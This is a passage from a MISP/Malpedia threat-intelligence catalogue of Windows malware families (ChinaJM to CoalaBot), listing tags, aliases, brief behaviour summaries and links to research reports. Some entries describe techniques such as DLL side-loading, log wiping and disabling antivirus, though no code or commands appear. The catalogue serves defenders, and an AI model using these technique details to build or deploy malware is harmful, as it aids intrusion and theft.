Table 3472. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chinajm
https://id-ransomware.blogspot.com/2020/02/chinajm-ransomware.html

Chinotto (Windows)

The tag is: *misp-galaxy:malpedia="Chinotto (Windows)"*

Chinotto (Windows) is also known as:

Table 3473. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chinotto
https://threatmon.io/chinotto-backdoor-technical-analysis-of-the-apt-reapers-powerful/
https://blog.sekoia.io/peeking-at-reaper-surveillance-operations-against-north-korea-defectors/
https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37
https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/
https://www.boho.or.kr/data/reportView.do?bulletin_writing_sequence=67064
https://thorcert.notion.site/TTPs-9-f04ce99784874947978bd2947738ac92

Chinoxy

The tag is: *misp-galaxy:malpedia="Chinoxy"*

Chinoxy is also known as:

Table 3474. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chinoxy
https://community.riskiq.com/article/56fa1b2f

https://medium.com/@Sebdraven/new-version-of-chinoxy-backdoor-using-covid19-document-lure-83fa294c0746
https://www.fortinet.com/blog/threat-research/pivnoxy-and-chinoxy-puppeteer-analysis
https://documents.trendmicro.com/assets/white_papers/wp-finding-APTX-attributing-attacks-via-MITRE-TTPs.pdf
https://medium.com/@Sebdraven/how-to-unpack-chinoxy-backdoor-and-decipher-the-configuration-of-the-backdoor-4ffd98ca2a02
https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf
https://www.proofpoint.com/us/blog/threat-insight/above-fold-and-your-inbox-tracing-state-aligned-activity-targeting-journalists
https://community.riskiq.com/article/5fe2da7f
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://go.recordedfuture.com/hubfs/reports/cta-2021-1208.pdf
https://nao-sec.org/2021/01/royal-road-redive.html

Chir

The tag is: *misp-galaxy:malpedia="Chir"*

Chir is also known as:

Table 3475. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chir

Chisel (Windows)

Chisel is an open-source project by Jaime Pillora (jpillora) that allows tunneling TCP and UDP connections via HTTP. It is available across platforms and written in Go. While benign in itself, Chisel has been utilized by multiple threat actors. It was for example observed by SentinelOne during a PYSA ransomware campaign to achieve persistence and used as backdoor. Github: https://github.com/jpillora/chisel

The tag is: *misp-galaxy:malpedia="Chisel (Windows)"*

Chisel (Windows) is also known as:

Table 3476. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chisel

https://www.securonix.com/blog/crontrap-emulated-linux-environments-as-the-latest-tactic-in-malware-staging/
https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/
https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/

ChiserClient

The tag is: *misp-galaxy:malpedia="ChiserClient"*

ChiserClient is also known as:

Table 3477. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chiser_client
https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html

Choziosi (Windows)

Choziosi is a browser hijacker for Chrome. It was first seen in January 2022. It commonly infects users via pirated media downloads like games, software, wallpapers or movies. The initial infectors are available for several platforms such as Mac and Windows.

Its main component is the Chrome browser extension written in JavaScript with the purpose of serving advertisments and hijacking search requests to Google, Yahoo and Bing.

The tag is: *misp-galaxy:malpedia="Choziosi (Windows)"*

Choziosi (Windows) is also known as:

- ChromeLoader

Table 3478. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.choziosi
https://www.connectwise.com/blog/threat-report/smash-jacker
https://blogs.blackberry.com/en/2022/11/chromeloader-infects-the-browser-by-loading-malicious-extension
https://github.com/xephora/Threat-Remediation-Scripts/tree/main/Threat-Track/CS_INSTALLER
https://www.gdatasoftware.com/blog/2022/01/37236-qr-codes-on-twitter-deliver-malicious-chrome-extension
https://cybergeeks.tech/chromeloader-browser-hijacker
https://redcanary.com/blog/chromeloader/

https://blogs.vmware.com/security/2022/09/the-evolution-of-the-chromeloader-malware.html

ChrGetPdsi Stealer

ChrGetPdsi is a basic infostealer written in Golang which is designed to steal browser history and logins, and targets Chrome, Edge, and Firefox. The output is written to a text file named chrgetpdsi.txt. Based on the samples analysed, the malware does not appear to have networking capabilities, and therefore it is likely that it is intended to be used in a post-compromise situation where the attacker already has access to the target system and can retrieve the created output file via other means.ChrGetPdsi has been observed being deployed by the Broomstick malware.

The tag is: *misp-galaxy:malpedia="ChrGetPdsi Stealer"*

ChrGetPdsi Stealer is also known as:

Table 3479. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chrgetpdsi_stealer
https://www.rapid7.com/blog/post/2024/06/17/malvertising-campaign-leads-to-execution-of-oyster-backdoor/
https://exchange.xforce.ibmcloud.com/malware-analysis/guid:2f96dded08ec1c2dd039fca21378050c

Chthonic

The tag is: *misp-galaxy:malpedia="Chthonic"*

Chthonic is also known as:

- AndroKINS

Table 3480. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.chthonic
https://securelist.com/chthonic-a-new-modification-of-zeus/68176/
https://bartblaze.blogspot.com/2017/08/crystal-finance-millennium-used-to.html
https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf

Cicada3301

The tag is: *misp-galaxy:malpedia="Cicada3301"*

Cicada3301 is also known as:

Table 3481. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cicada3301
https://unit42.paloaltonetworks.com/repellent-scorpius-cicada3301-ransomware/
https://www.intrinsec.com/wp-content/uploads/2025/10/TLP-CLEAR-31072025-ShadowSyndicate-infrastructure-illumination-EN.pdf
https://www.truesec.com/hub/blog/dissecting-the-cicada

cifty

The tag is: *misp-galaxy:malpedia="cifty"*

cifty is also known as:

Table 3482. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cifty
http://contagiodump.blogspot.com/2009/06/win32updateexe-md5-eec80fd4c7fc5cf5522f.html

Cinobi

The tag is: *misp-galaxy:malpedia="Cinobi"*

Cinobi is also known as:

Table 3483. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cinobi
http://www.pwncode.io/2019/12/unpacking-payload-used-in-bottle-ek.html
https://documents.trendmicro.com/assets/pdf/Tech%20Brief_Operation%20Overtrap%20Targets%20Japanese%20Online%20Banking%20Users.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/operation-overtrap-targets-japanese-online-banking-users-via-bottle-exploit-kit-and-brand-new-cinobi-banking-trojan/
https://www.trendmicro.com/en_us/research/21/h/cinobi-banking-trojan-targets-users-of-cryptocurrency-exchanges-.html

Cinoshi

The tag is: *misp-galaxy:malpedia="Cinoshi"*

Cinoshi is also known as:

- Agniane

Table 3484. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cinoshi
https://cyble.com/blog/cinoshi-project-and-the-dark-side-of-free-maas/
https://twitter.com/suyog41/status/1633807752127475713?s=20
https://www.zscaler.com/blogs/security-research/agniane-stealer-dark-webs-crypto-threat
https://www.youtube.com/watch?v=-KJ0HIvmVl0

Citadel

The tag is: *misp-galaxy:malpedia="Citadel"*

Citadel is also known as:

Table 3485. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.citadel
http://www.xylibox.com/2016/02/citadel-0011-atmos.html
https://malware.dontneedcoffee.com/2012/12/eyeglanceru.html
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals
http://blog.jpcert.or.jp/2016/02/banking-trojan—27d6.html
https://blog.malwarebytes.com/threat-analysis/2012/11/citadel-a-cyber-criminals-ultimate-weapon/
https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf

Clambling

Clambling was discovered by Trend Micro and TalentJump. It is a custom malware used by an actor they refer to as DRBControl, which targets gambling and betting companies in Southeast Asia. One version of Clambling uses Dropbox as C&C channel to hide its communication.

The tag is: *misp-galaxy:malpedia="Clambling"*

Clambling is also known as:

Table 3486. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.clambling
https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf
https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf
https://www.bleepingcomputer.com/news/security/chinas-apt-hackers-move-to-ransomware-attacks/

CLASSFON

The tag is: *misp-galaxy:malpedia="CLASSFON"*

CLASSFON is also known as:

Table 3487. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.classfon
https://content.fireeye.com/apt-41/rpt-apt41/

CLEANTOAD

CLEANTOAD is a disruption tool that will delete file system artifacts, including those related to BLINDTOAD, and will run after a date obtained from a configuration file. The malware injects shellcode into notepad.exe and it overwrites and deletes files, modifies registry keys, deletes services, and clears Windows event logs.

The tag is: *misp-galaxy:malpedia="CLEANTOAD"*

CLEANTOAD is also known as:

Table 3488. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cleantoad
https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/pf/apt/rpt-apt38-2018.pdf

Client Maximus

The tag is: *misp-galaxy:malpedia="Client Maximus"*

Client Maximus is also known as:

Table 3489. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.client_maximus

https://securityintelligence.com/client-maximus-new-remote-overlay-malware-highlights-rising-malcode-sophistication-in-brazil/

ClipBanker

The ClipBanker Trojan is known as an information stealer and spy trojan, it aims to steal and record any type of sensitive information from the infected environment such as browser history, cookies, Outlook data, Skype, Telegram, or cryptocurrency wallet account addresses. The main goal of this threat is to steal confidential information. The ClipBanker uses PowerShell commands for executing malicious activities. The thing that made the ClipBanker unique is its ability to record various banking actions of the user and manipulate them for its own benefit. The distribution method of the ClipBanker is through phishing emails or through social media posts that lure users to download malicious content.

The tag is: *misp-galaxy:malpedia="ClipBanker"*

ClipBanker is also known as:

Table 3490. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.clipbanker
https://www.cynet.com/attack-techniques-hands-on/threat-research-report-clipbanker-13-second-attack/
https://blog.plainbit.co.kr/sanae-yuib-seupieopising-meil-bunseog/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf
https://asec.ahnlab.com/en/35981/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/covid-19-phishing-lure-to-steal-and-mine-cryptocurrency/
https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/

Clipog

A keylogger.

The tag is: *misp-galaxy:malpedia="Clipog"*

Clipog is also known as:

Table 3491. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.clipog
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/crambus-middle-east-government

Clop (Windows)

Clop is a ransomware which uses the .clop extension after having encrypted the victim's files. Another unique characteristic belonging with Clop is in the string: "Dont Worry C|0P" included into the ransom notes. It is a variant of CryptoMix ransomware, but it additionally attempts to disable Windows Defender and to remove the Microsoft Security Essentials in order to avoid user space detection.

The tag is: *misp-galaxy:malpedia="Clop (Windows)"*

Clop (Windows) is also known as:

Table 3492. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.clop
https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot
https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/
https://unit42.paloaltonetworks.com/clop-ransomware/
https://www.fireeye.com/blog/threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html
https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/
https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://www.zdnet.com/article/croatias-largest-petrol-station-chain-impacted-by-cyber-attack/
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104
https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/
https://labs.sentinelone.com/breaking-ta505s-crypter-with-an-smt-solver/
https://www.carbonblack.com/blog/cb-tau-threat-intelligence-notification-cryptomix-clop-ransomware-disables-startup-repair-removes-edits-shadow-volume-copies/
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://www.splunk.com/en_us/blog/security/clop-ransomware-detection-threat-research-release-april-2021.html

https://asec.ahnlab.com/wp-content/uploads/2021/01/Analysis_ReportCLOP_Ransomware.pdf

https://www.secureworks.com/research/threat-profiles/gold-tahoe

https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shifruvalnika-ta-nanesenni-inozemnim-kompaniyam-piv-milyarda-dolariv-zbitkiv/

https://www.notion.so/S2W-LAB-Analysis-of-Clop-Ransomware-suspiciously-related-to-the-Recent-Incident-English-088056baf01242409a6e9f844f0c5f2e

https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://medium.com/@Sebdraven/unpacking-clop-416b83718e0f

https://research.loginsoft.com/threat-research/taming-the-storm-understanding-and-mitigating-the-consequences-of-cve-2023-27350/

https://therecord.media/ukrainian-police-arrest-clop-ransomware-members-seize-server-infrastructure/

https://www.hornetsecurity.com/en/security-information/clop-clop-ta505-html-malspam-analysis/

https://www.splunk.com/en_us/blog/security/detecting-clop-ransomware.html

https://krebsonsecurity.com/2021/06/ukrainian-police-nab-six-tied-to-clop-ransomware/

https://www.bleepingcomputer.com/news/security/indiabulls-group-hit-by-clop-ransomware-gets-24h-leak-deadline/

https://www.bleepingcomputer.com/news/security/ta505-hackers-behind-maastricht-university-ransomware-attack/

https://www.bleepingcomputer.com/news/security/clop-ransomware-gang-is-back-hits-21-victims-in-a-single-month/

https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/

https://www.boho.or.kr/filedownload.do?attach_file_seq=2808&attach_file_id=EpF2808.pdf

https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf

https://www.flashpoint-intel.com/blog/cl0p-and-revil-escalate-their-ransomware-tactics/

https://securelist.com/modern-ransomware-groups-ttps/106824/

https://www.notion.so/S2W-LAB-Analysis-of-Clop-Ransomware-suspiciously-related-to-the-Recent-Incident-c26daec604da4db6b3c93e26e6c7aa26

https://www.bleepingcomputer.com/news/security/ransomware-gang-urges-victims-customers-to-demand-a-ransom-payment/

https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-clop

https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html

https://www.bleepingcomputer.com/news/security/ransomware-gang-says-they-stole-2-million-credit-cards-from-e-land/

https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/

https://twitter.com/darb0ng/status/1338692764121251840

https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/

https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Clop.md

https://actu.fr/normandie/rouen_76540/une-rancon-apres-cyberattaque-chu-rouen-ce-reclament-pirates_29475649.html

https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672

https://www.youtube.com/watch?v=PqGaZgepNTE

https://fourcore.io/blogs/clop-ransomware-history-adversary-simulation

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti

https://www.intrinsec.com/wp-content/uploads/2025/10/TLP-CLEAR-31072025-ShadowSyndicate-infrastructure-illumination-EN.pdf

https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://www.binance.com/en/blog/421499824684902240/Binance-Helps-Take-Down-Cybercriminal-Ring-Laundering-%24500M-in-Ransomware-Attacks

https://www.bleepingcomputer.com/news/security/cryptomix-clop-ransomware-says-its-targeting-networks-not-computers/

https://www.vice.com/en/article/wx5eyx/meet-the-ransomware-gang-behind-one-of-the-biggest-supply-chain-hacks-ever

https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/clop-ransomware/

https://medium.com/s2wlab/operation-synctrek-e5013df8d167

https://github.com/albertzsigovits/malware-notes/blob/master/Clop.md

https://nattothoughts.substack.com/p/ransom-war-russian-extortion-operations
https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824
http://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
https://www.prodaft.com/m/reports/TeslaGun_TLPWHITE.pdf
https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546
https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/
https://asec.ahnlab.com/en/19542/
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do
https://www.zdnet.com/article/german-tech-giant-software-ag-down-after-ransomware-attack/
https://www.cert.ssi.gouv.fr/cti/CERTFR-2019-CTI-009/
https://www.bleepingcomputer.com/news/security/microsoft-links-raspberry-robin-worm-to-clop-ransomware-attacks/
https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound
https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?blob=publicationFile&v=2
https://github.com/Tera0017/TAFOF-Unpacker

CLOUDBURST

CLOUDBURST aka NickelLoader is an HTTP(S) downloader.

It recognizes a set of four basic commands, all five letters long, like abcde, avdrq, gabnc and dcrqv (alternatively: eknag, eacec, hjmwk, wohnp). The most important functionality is to load a received buffer, either as a DLL via the MemoryModule implementation, or as a shellcode.

It uses AES for encryption and decryption of network traffic. It usually sends the following information back to its C&C server: computer name, product name and the list of running processes. Typically, it uses two hardcoded parameter names for its initial HTTP POST requests: gametype and type (alternatively: type and code).

The CLOUDBURST payload is disguised as mscoree.dll and is side-loaded via a legitimate Windows binary PresentationHost.exe with the argument -embeddingObject. It comes either as a trojanized plugin project for Notepad++ (usually FingerText by erinata), or as a standalone DLL loaded by a dropper, which is a trojanized plugin project as well (usually NppyPlugin by Jari Pennanen).

The CLOUDBURST malware was used in Operation DreamJob attacks against an aerospace company and a network running Microsoft Intune software in Q2-Q3 2022.

The tag is: *misp-galaxy:malpedia="CLOUDBURST"*

CLOUDBURST is also known as:

- NickelLoader

Table 3493. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudburst
https://www.welivesecurity.com/en/eset-research/lazarus-luring-employees-trojanized-coding-challenges-case-spanish-aerospace-company/
https://www.microsoft.com/security/blog/2022/09/29/zinc-weaponizing-open-source-software/
https://www.virusbulletin.com/uploads/pdf/conference/vb2023/papers/Lazarus-campaigns-and-backdoors-in-2022-2023.pdf
https://www.mandiant.com/resources/blog/lightshow-north-korea-unc2970

CloudEyE

CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.

The tag is: *misp-galaxy:malpedia="CloudEyE"*

CloudEyE is also known as:

- GuLoader
- vbdropper

Table 3494. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye
https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728
https://www.crowdstrike.com/blog/guloader-dissection-reveals-new-anti-analysis-techniques-and-code-injection-redundancy/

https://twitter.com/TheEnergyStory/status/1239110192060608513

http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa

https://malpedia.caad.fkie.fraunhofer.de/details/win.guloader

https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/playing-with-guloader-anti-vm-techniques-malware/

https://www.youtube.com/watch?v=N0wAh26wShE

https://labs.vipre.com/unloading-the-guloader/

https://www.joesecurity.org/blog/3535317197858305930

https://www.intrinsec.com/wp-content/uploads/2023/09/TLP-CLEAR-20230912-EN-GuLoader-Information-report.pdf

https://blog.morphisec.com/guloader-the-rat-downloader

https://cyberint.com/blog/other/guloader-downloaded-a-look-at-the-latest-iteration/

https://kienmanowar.wordpress.com/2020/06/27/quick-analysis-note-about-guloader-or-cloudeye/

https://medium.com/@ZainWare/analyzing-guloader-42c1d6a73dfa

https://research.checkpoint.com/2023/cloud-based-malware-delivery-the-evolution-of-guloader/

https://www.securonix.com/blog/new-tacticaloctopus-attack-campaign-targets-us-entities-with-malware-bundled-in-tax-themed-documents/

https://www.vmray.com/cyber-security-blog/guloader-evasion-techniques-threat-bulletin/

https://www.youtube.com/watch?v=gk7fCC5RiAQ

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/steganoamor-campaign-ta558-mass-attacking-companies-and-public-institutions-all-around-the-world/

https://any.run/cybersecurity-blog/deobfuscating-guloader/

https://www.microsoft.com/en-us/security/blog/2023/04/13/threat-actors-strive-to-cause-tax-day-headaches/

https://www.spamhaus.com/resource-center/dissecting-the-new-shellcode-based-variant-of-guloader-cloudeye/

https://cert.pl/en/posts/2021/04/keeping-an-eye-on-guloader-reverse-engineering-the-loader/

https://www.crowdstrike.com/blog/guloader-malware-analysis/

https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943

https://youtu.be/Lt07O3XSNJQ

https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf

https://twitter.com/VK_Intel/status/1255537954304524288

https://blog.vincss.net/vi/re014-guloader-antivm-techniques/

https://www.microsoft.com/en-us/security/blog/2025/04/03/threat-actors-leverage-tax-season-to-deploy-tax-themed-phishing-campaigns/

https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter

https://research.checkpoint.com/2023/unveiling-the-shadows-the-dark-alliance-between-guloader-and-remcos/

https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors

https://www.proofpoint.com/us/threat-insight/post/guloader-popular-new-vb6-downloader-abuses-cloud-services

https://blog.malwarebytes.com/scams/2020/08/sba-phishing-scams-from-malware-to-advanced-social-engineering/

https://www.vmray.com/cyber-security-blog/azorult-delivered-by-guloader-malware-analysis-spotlight/

https://www.vmray.com/cyber-security-blog/malware-analysis-spotlight-guloader

https://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877

https://twitter.com/sysopfb/status/1258809373159305216

https://twitter.com/TheEnergyStory/status/1240608893610459138

https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update

https://hidocohen.medium.com/guloaders-anti-analysis-techniques-e0d4b8437195

https://www.youtube.com/watch?v=K3Yxu_9OUxU

https://clickallthethings.wordpress.com/2021/03/06/oleobject1-bin-ole10native-shellcode/

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf

https://inquest.net/blog/2022/08/29/office-files-rtf-files-shellcode-and-more-shenanigans

https://www.youtube.com/watch?v=-FxyzuRv6Wg

https://labs.k7computing.com/?p=20156

https://malwarebookreports.com/guloader-navigating-a-maze-of-intricacy/

https://labs.k7computing.com/?p=21725Lokesh

https://malwation.com/malware-config-extraction-diaries-1-guloader/

https://blog.morphisec.com/guloader-campaign-targets-law-firms-in-the-us

https://irfan-eternal.github.io/guloader-deobfuscation-using-ghidra/

https://www.fortinet.com/blog/threat-research/spoofed-saudi-purchase-order-drops-guloader-part-two

https://twitter.com/VK_Intel/status/1252678206852907011

https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/

https://cert-agid.gov.it/news/malware/tecniche-per-semplificare-lanalisi-del-malware-guloader/

https://sansorg.egnyte.com/dl/ALlvwK6fp0

https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/
https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/
https://www.intrinsec.com/wp-content/uploads/2025/11/INTRINSEC-2025-Threat-Report-Trouble_in_the_air.pdf
https://forensicitguy.github.io/guloader-executing-shellcode-callbacks/
https://research.checkpoint.com/2020/threat-actors-migrating-to-the-cloud/
https://research.checkpoint.com/2020/guloader-cloudeye/
https://experience.mandiant.com/trending-evil-2/p/1
https://threatresearch.ext.hp.com/malware-campaigns-targeting-african-banking-sector/
https://www.elastic.co/security-labs/getting-gooey-with-guloader-downloader
https://www.proofpoint.com/us/blog/threat-insight/hakbit-ransomware-campaign-against-germany-austria-switzerland
https://twitter.com/VK_Intel/status/1257206565146370050
https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4
https://asec.ahnlab.com/en/55978/
https://blog.vincss.net/2020/05/re014-guloader-antivm-techniques.html

CloudWizard

The tag is: *misp-galaxy:malpedia="CloudWizard"*

CloudWizard is also known as:

Table 3495. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudwizard
https://securelist.com/cloudwizard-apt/109722/

CloudDuke

F-Secure describes CloudDuke as a malware toolset known to consist of, at least, a downloader, a loader and two backdoor variants. The CloudDuke downloader will download and execute additional malware from a preconfigured location. Interestingly, that location may be either a web address or a Microsoft OneDrive account. Both CloudDuke backdoor variants support simple backdoor functionality, similar to SeaDuke. While one variant will use a preconfigured C&C server over HTTP or HTTPS, the other variant will use a Microsoft OneDrive account to exchange commands and stolen data with its operators.

The tag is: *misp-galaxy:malpedia="CloudDuke"*

CloudDuke is also known as:

- CloudLook
- MiniDionis

Table 3496. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cloud_duke
https://www.f-secure.com/weblog/archives/00002822.html

CloudScout

According to ESET Research, CloudScout is a toolset is capable of retrieving data from various cloud services by leveraging stolen web session cookies. Through a plugin, CloudScout works seamlessly with MgBot, Evasive Panda's signature malware framework.

The tag is: *misp-galaxy:malpedia="CloudScout"*

CloudScout is also known as:

Table 3497. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cloud_scout
https://www.welivesecurity.com/en/eset-research/cloudscout-evasive-panda-scouting-cloud-services/

Cmimai Stealer

The tag is: *misp-galaxy:malpedia="Cmimai Stealer"*

Cmimai Stealer is also known as:

Table 3498. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cmimai
https://x.com/suyog41/status/1937035864527511887
https://labs.k7computing.com/index.php/silent-watcher-dissecting-cmimai-stealers-vbs-payload/

cmoon

The tag is: *misp-galaxy:malpedia="cmoon"*

cmoon is also known as:

Table 3499. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cmoon
<a href="https://securelist.ru/how-the-cmoon-worm-collects-data/109988/<mark>">https://securelist.ru/how-the-cmoon-worm-collects-data/109988/</mark>

CMSBrute

The tag is: *misp-galaxy:malpedia="CMSBrute"*

CMSBrute is also known as:

Table 3500. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cmsbrute
https://securelist.com/the-shade-encryptor-a-double-threat/72087/

CMSTAR

The tag is: *misp-galaxy:malpedia="CMSTAR"*

CMSTAR is also known as:

- meciv

Table 3501. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cmstar
https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan
https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/
https://twitter.com/ClearskySec/status/963829930776723461
https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan

CoalaBot

The tag is: *misp-galaxy:malpedia="CoalaBot"*

CoalaBot is also known as:

